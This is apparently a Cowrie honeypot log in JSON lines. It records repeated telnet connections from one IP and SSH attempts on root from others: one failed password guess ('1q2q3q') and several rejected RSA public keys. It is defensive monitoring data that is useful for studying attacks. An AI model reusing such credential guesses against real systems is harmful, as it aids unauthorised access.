{"eventid":"cowrie.session.closed","duration":39.17446541786194,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:47.990092Z","src_ip":"192.119.13.58","session":"2c8dabf2a470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54932,"dst_ip":"10.17.0.5","dst_port":23,"session":"119ba5ce830d","protocol":"telnet","message":"New connection: 192.119.13.58:54932 (10.17.0.5:23) [session: 119ba5ce830d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:51.226405Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":58194,"dst_ip":"159.203.135.109","dst_port":23,"session":"d62633e1109c","protocol":"telnet","message":"New connection: 172.104.93.159:58194 (159.203.135.109:23) [session: d62633e1109c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:52.524237Z"}
{"eventid":"cowrie.session.closed","duration":43.455251693725586,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:53.415918Z","src_ip":"192.119.13.58","session":"e3db4517cf4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40632,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ce173541af9","protocol":"telnet","message":"New connection: 192.119.13.58:40632 (10.17.0.5:23) [session: 2ce173541af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:54.647887Z"}
{"eventid":"cowrie.session.closed","duration":47.50050449371338,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:54.998349Z","src_ip":"192.119.13.58","session":"069a71fb8a80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.17273211479187,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:56.132395Z","src_ip":"192.119.13.58","session":"3f3a81296562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51434,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cda0254561d","protocol":"telnet","message":"New connection: 192.119.13.58:51434 (10.17.0.5:23) [session: 5cda0254561d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:57.348415Z"}
{"eventid":"cowrie.session.closed","duration":34.90565609931946,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:01.708076Z","src_ip":"192.119.13.58","session":"28e4394d4489","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41930,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a584f1462c9","protocol":"telnet","message":"New connection: 192.119.13.58:41930 (10.17.0.5:23) [session: 7a584f1462c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:01.938095Z"}
{"eventid":"cowrie.session.closed","duration":10.168211221694946,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:02.692303Z","src_ip":"172.104.93.159","session":"d62633e1109c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.23359036445618,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:02.856890Z","src_ip":"192.119.13.58","session":"2f46a8c8e862","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.39589071273804,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:04.346082Z","src_ip":"192.119.13.58","session":"e06897143ff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39746,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ac141cd344","protocol":"telnet","message":"New connection: 192.119.13.58:39746 (10.17.0.5:23) [session: 47ac141cd344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:15.491971Z"}
{"eventid":"cowrie.session.closed","duration":67.8050434589386,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:16.135251Z","src_ip":"192.119.13.58","session":"49bd9b947f4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58970,"dst_ip":"10.17.0.5","dst_port":23,"session":"305ebad7af26","protocol":"telnet","message":"New connection: 192.119.13.58:58970 (10.17.0.5:23) [session: 305ebad7af26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:21.394534Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60944,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e773187a127","protocol":"telnet","message":"New connection: 192.119.13.58:60944 (10.17.0.5:23) [session: 6e773187a127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:27.652232Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33170,"dst_ip":"10.17.0.5","dst_port":23,"session":"72846fdf6e6e","protocol":"telnet","message":"New connection: 192.119.13.58:33170 (10.17.0.5:23) [session: 72846fdf6e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:27.764530Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42584,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fa2dd5c6fbb","protocol":"telnet","message":"New connection: 192.119.13.58:42584 (10.17.0.5:23) [session: 5fa2dd5c6fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:30.024715Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46818,"dst_ip":"10.17.0.5","dst_port":23,"session":"44eb84231c8e","protocol":"telnet","message":"New connection: 192.119.13.58:46818 (10.17.0.5:23) [session: 44eb84231c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:32.082206Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40010,"dst_ip":"10.17.0.5","dst_port":23,"session":"99c9fc542bcf","protocol":"telnet","message":"New connection: 192.119.13.58:40010 (10.17.0.5:23) [session: 99c9fc542bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:36.424063Z"}
{"eventid":"cowrie.session.closed","duration":42.86471247673035,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:37.512470Z","src_ip":"192.119.13.58","session":"2ce173541af9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.332879066467285,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:38.270823Z","src_ip":"192.119.13.58","session":"7a584f1462c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44678,"dst_ip":"10.17.0.5","dst_port":23,"session":"449d2d783ced","protocol":"telnet","message":"New connection: 192.119.13.58:44678 (10.17.0.5:23) [session: 449d2d783ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:38.616469Z"}
{"eventid":"cowrie.session.closed","duration":48.3574595451355,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:39.583732Z","src_ip":"192.119.13.58","session":"119ba5ce830d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":59822,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1f9e7d509b1","protocol":"ssh","message":"New connection: 103.149.28.157:59822 (10.17.0.5:22) [session: c1f9e7d509b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:43.127198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:43.132492Z","src_ip":"103.149.28.157","session":"c1f9e7d509b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:43.385983Z","src_ip":"103.149.28.157","session":"c1f9e7d509b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2q3q","message":"login attempt [root/1q2q3q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:44.148019Z","src_ip":"103.149.28.157","session":"c1f9e7d509b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:45.404386Z","src_ip":"103.149.28.157","session":"c1f9e7d509b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47370,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce2fbedfb8ef","protocol":"telnet","message":"New connection: 192.119.13.58:47370 (10.17.0.5:23) [session: ce2fbedfb8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:46.546497Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53710,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2053ff9c9a9","protocol":"telnet","message":"New connection: 192.119.13.58:53710 (10.17.0.5:23) [session: f2053ff9c9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:47.120947Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36464,"dst_ip":"10.17.0.5","dst_port":23,"session":"28c1d97508cd","protocol":"telnet","message":"New connection: 192.119.13.58:36464 (10.17.0.5:23) [session: 28c1d97508cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:50.035112Z"}
{"eventid":"cowrie.session.closed","duration":54.19147801399231,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:31:51.539816Z","src_ip":"192.119.13.58","session":"5cda0254561d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.127.158","src_port":34846,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff0e0db2d069","protocol":"ssh","message":"New connection: 198.20.127.158:34846 (10.17.0.5:22) [session: ff0e0db2d069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:00.734141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:00.739499Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:00.822524Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:f6:3f:03:dc:57:a1:e5:c1:94:0f:a9:3e:f8:64:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC14VjfDC3H+sUVv/ZujYNcR7WNPvNUFlgWkROI6CsDzeXF7nqos6f+jGhALo5r+nOTjMHQuHI0uCkfolwL/I2YRJiCFXJvAC0MmjO/mXNylJsp260BTrjyRKHs+qI5uXTPGBsXIP+wGcQ0cCNIWAUKVlMuMbEkqrdR7Wmdr8k9jrIWA6wSIMVhfPsjJQeqDyD0wGQ6WpYHnfoOD3RbyzMkunskPK/Hz8Q+DFiVjy5vS7r3cMnS/KSVY3okyLYfqFxTGe91UGrI4cLcT/eAG8e1hTJj70JDY9CrAbH1ZB914ZNDl89T4D20yXG8mluVIjtGCDe4wboxHeeG/pnQbxvX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:f6:3f:03:dc:57:a1:e5:c1:94:0f:a9:3e:f8:64:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:01.215436Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:f6:3f:03:dc:57:a1:e5:c1:94:0f:a9:3e:f8:64:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC14VjfDC3H+sUVv/ZujYNcR7WNPvNUFlgWkROI6CsDzeXF7nqos6f+jGhALo5r+nOTjMHQuHI0uCkfolwL/I2YRJiCFXJvAC0MmjO/mXNylJsp260BTrjyRKHs+qI5uXTPGBsXIP+wGcQ0cCNIWAUKVlMuMbEkqrdR7Wmdr8k9jrIWA6wSIMVhfPsjJQeqDyD0wGQ6WpYHnfoOD3RbyzMkunskPK/Hz8Q+DFiVjy5vS7r3cMnS/KSVY3okyLYfqFxTGe91UGrI4cLcT/eAG8e1hTJj70JDY9CrAbH1ZB914ZNDl89T4D20yXG8mluVIjtGCDe4wboxHeeG/pnQbxvX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:01.219897Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:2a:b2:fc:c0:d2:c7:bf:73:33:27:75:a2:02:4b:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXWzdfmCmBUrWel3H4gmlJnDRfWIYu7VamKIZ8KVlhcaZxXMLH29cIHsziGKE/UTAoSQAaVs1m9EpTm5U6iKn8h+D3itZrrgIOm1rOrtxQQLhWvRnCu3KgLom/IMAKqtes3p8PhitBr9FCryKs0iUfUwIrI5WLjQ1es9pcYYb4YBRr6knfxY3NAGOHp24fQTCyeh/OKCx/bhzLeTljDJgWsim1Cg6s/Q7yRFP7TVkGEBl+USLRydcfSvGNuGk8eWFV8CcaKXKtxaO/HclejmEAyjOszFeXPiN0ilECOrPQ5LqedG876bwpqCEGqsSRYXxuW3pjPgMMtMt6fkc7KSMJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:2a:b2:fc:c0:d2:c7:bf:73:33:27:75:a2:02:4b:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:01.304183Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:2a:b2:fc:c0:d2:c7:bf:73:33:27:75:a2:02:4b:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXWzdfmCmBUrWel3H4gmlJnDRfWIYu7VamKIZ8KVlhcaZxXMLH29cIHsziGKE/UTAoSQAaVs1m9EpTm5U6iKn8h+D3itZrrgIOm1rOrtxQQLhWvRnCu3KgLom/IMAKqtes3p8PhitBr9FCryKs0iUfUwIrI5WLjQ1es9pcYYb4YBRr6knfxY3NAGOHp24fQTCyeh/OKCx/bhzLeTljDJgWsim1Cg6s/Q7yRFP7TVkGEBl+USLRydcfSvGNuGk8eWFV8CcaKXKtxaO/HclejmEAyjOszFeXPiN0ilECOrPQ5LqedG876bwpqCEGqsSRYXxuW3pjPgMMtMt6fkc7KSMJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:01.312914Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:b0:e1:3b:38:d0:ea:dc:4f:c0:56:5c:8a:f3:25:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwlG9gzMKf7kv1w7w0tW1OT+0s1tCmmcWQVRRlNtC5hQ95khYww3Jzo1LBpUQ/aSPnx+e68YOnh1TKYuXamWlG6UlibPgbZjYbZADu2DZ4z7sDBsHt62BJsLTtz8YS72Ej4Ym0WgRo8L9WQrHFNxIC6GaVZX+2qWjsCsjWNAvkXoA53b5UxlUSSbOgUtlY3B48iS0uE+vlnn4IKq+quGAp1OWe/Uyx0xB62JM/8V/uwolH3ATdVACPnrdfa13ihOBffSu0wvFzfxKII+z1t3tMQmk2rID38s5E26OIRME5qFWKGXo1kSSKLLLU0dtCKkAmv6LpaMaXX7S2XZNHm7UeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:b0:e1:3b:38:d0:ea:dc:4f:c0:56:5c:8a:f3:25:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:01.397804Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:b0:e1:3b:38:d0:ea:dc:4f:c0:56:5c:8a:f3:25:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwlG9gzMKf7kv1w7w0tW1OT+0s1tCmmcWQVRRlNtC5hQ95khYww3Jzo1LBpUQ/aSPnx+e68YOnh1TKYuXamWlG6UlibPgbZjYbZADu2DZ4z7sDBsHt62BJsLTtz8YS72Ej4Ym0WgRo8L9WQrHFNxIC6GaVZX+2qWjsCsjWNAvkXoA53b5UxlUSSbOgUtlY3B48iS0uE+vlnn4IKq+quGAp1OWe/Uyx0xB62JM/8V/uwolH3ATdVACPnrdfa13ihOBffSu0wvFzfxKII+z1t3tMQmk2rID38s5E26OIRME5qFWKGXo1kSSKLLLU0dtCKkAmv6LpaMaXX7S2XZNHm7UeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:01.402842Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:72:09:d4:58:9d:a3:a9:71:f8:fa:b6:1f:81:35:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeYCbdVhNKu2pNgW8B+Vsg2BU36XuSXRkKEvAEF7W3QdqeVw4ECq3gKGV4yzAqpvxKj/zE0wW320hRHBVqfhz4d1kbyDzTf95vuT5BGWqX4QRYln+FPd2EgDEV/oiDnEHmdWgQpex/wd3xL6ZE5zM9UulbDiy3iZZFnKRSX4rxZMuIAeON+8wvexsi5d3hoa3XCknYp05UZsf0FNEzPMjbKU/Inh8jgVSqJEZTD/m7IWZOHv+n+WVzUp3lwZa6YZyF8laSYZfZmpznm3tGsRppXVua080SwGxEZrYTWfQyzDiyNdY1/IIWTs1TssrFDuEMwYqjcvlOU+6q4YKPxX2h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:72:09:d4:58:9d:a3:a9:71:f8:fa:b6:1f:81:35:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:01.487690Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:72:09:d4:58:9d:a3:a9:71:f8:fa:b6:1f:81:35:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeYCbdVhNKu2pNgW8B+Vsg2BU36XuSXRkKEvAEF7W3QdqeVw4ECq3gKGV4yzAqpvxKj/zE0wW320hRHBVqfhz4d1kbyDzTf95vuT5BGWqX4QRYln+FPd2EgDEV/oiDnEHmdWgQpex/wd3xL6ZE5zM9UulbDiy3iZZFnKRSX4rxZMuIAeON+8wvexsi5d3hoa3XCknYp05UZsf0FNEzPMjbKU/Inh8jgVSqJEZTD/m7IWZOHv+n+WVzUp3lwZa6YZyF8laSYZfZmpznm3tGsRppXVua080SwGxEZrYTWfQyzDiyNdY1/IIWTs1TssrFDuEMwYqjcvlOU+6q4YKPxX2h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:01.491379Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:b2:ea:ef:89:24:ae:74:7a:0b:14:6c:59:1c:d8:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvC5ivnK2oleCcBH8cpp78A56WkC+aApdgQ7dJ+15CqgRQY8IRjDe+slXwItjaer007WiP/6tL9eVoxBEy2LdO5yNxNV5/hbEho69719gBpPgUAqifDRHw+JFjJRSgJQvwvxnpsin5uwlRJNuvXyzqlkrz9v0W9WjN+IPNsFCSI0ijzdYDfT957L9SSIiCB8l11s1virPd9BUZgfZRTzuMbE5LyclgEdAzB2p1lWPvTwR+jGxdDHxhP316ZuHBF6qOHU/cDtm8YiqBwboRMnFYANNtTMG+oLxA6voWNYjYAdkCF9wTNu46kgwyzmakWANNIV9Sfehy6BnLzx1QGXrYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:b2:ea:ef:89:24:ae:74:7a:0b:14:6c:59:1c:d8:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:01.576540Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:b2:ea:ef:89:24:ae:74:7a:0b:14:6c:59:1c:d8:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvC5ivnK2oleCcBH8cpp78A56WkC+aApdgQ7dJ+15CqgRQY8IRjDe+slXwItjaer007WiP/6tL9eVoxBEy2LdO5yNxNV5/hbEho69719gBpPgUAqifDRHw+JFjJRSgJQvwvxnpsin5uwlRJNuvXyzqlkrz9v0W9WjN+IPNsFCSI0ijzdYDfT957L9SSIiCB8l11s1virPd9BUZgfZRTzuMbE5LyclgEdAzB2p1lWPvTwR+jGxdDHxhP316ZuHBF6qOHU/cDtm8YiqBwboRMnFYANNtTMG+oLxA6voWNYjYAdkCF9wTNu46kgwyzmakWANNIV9Sfehy6BnLzx1QGXrYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:01.580910Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
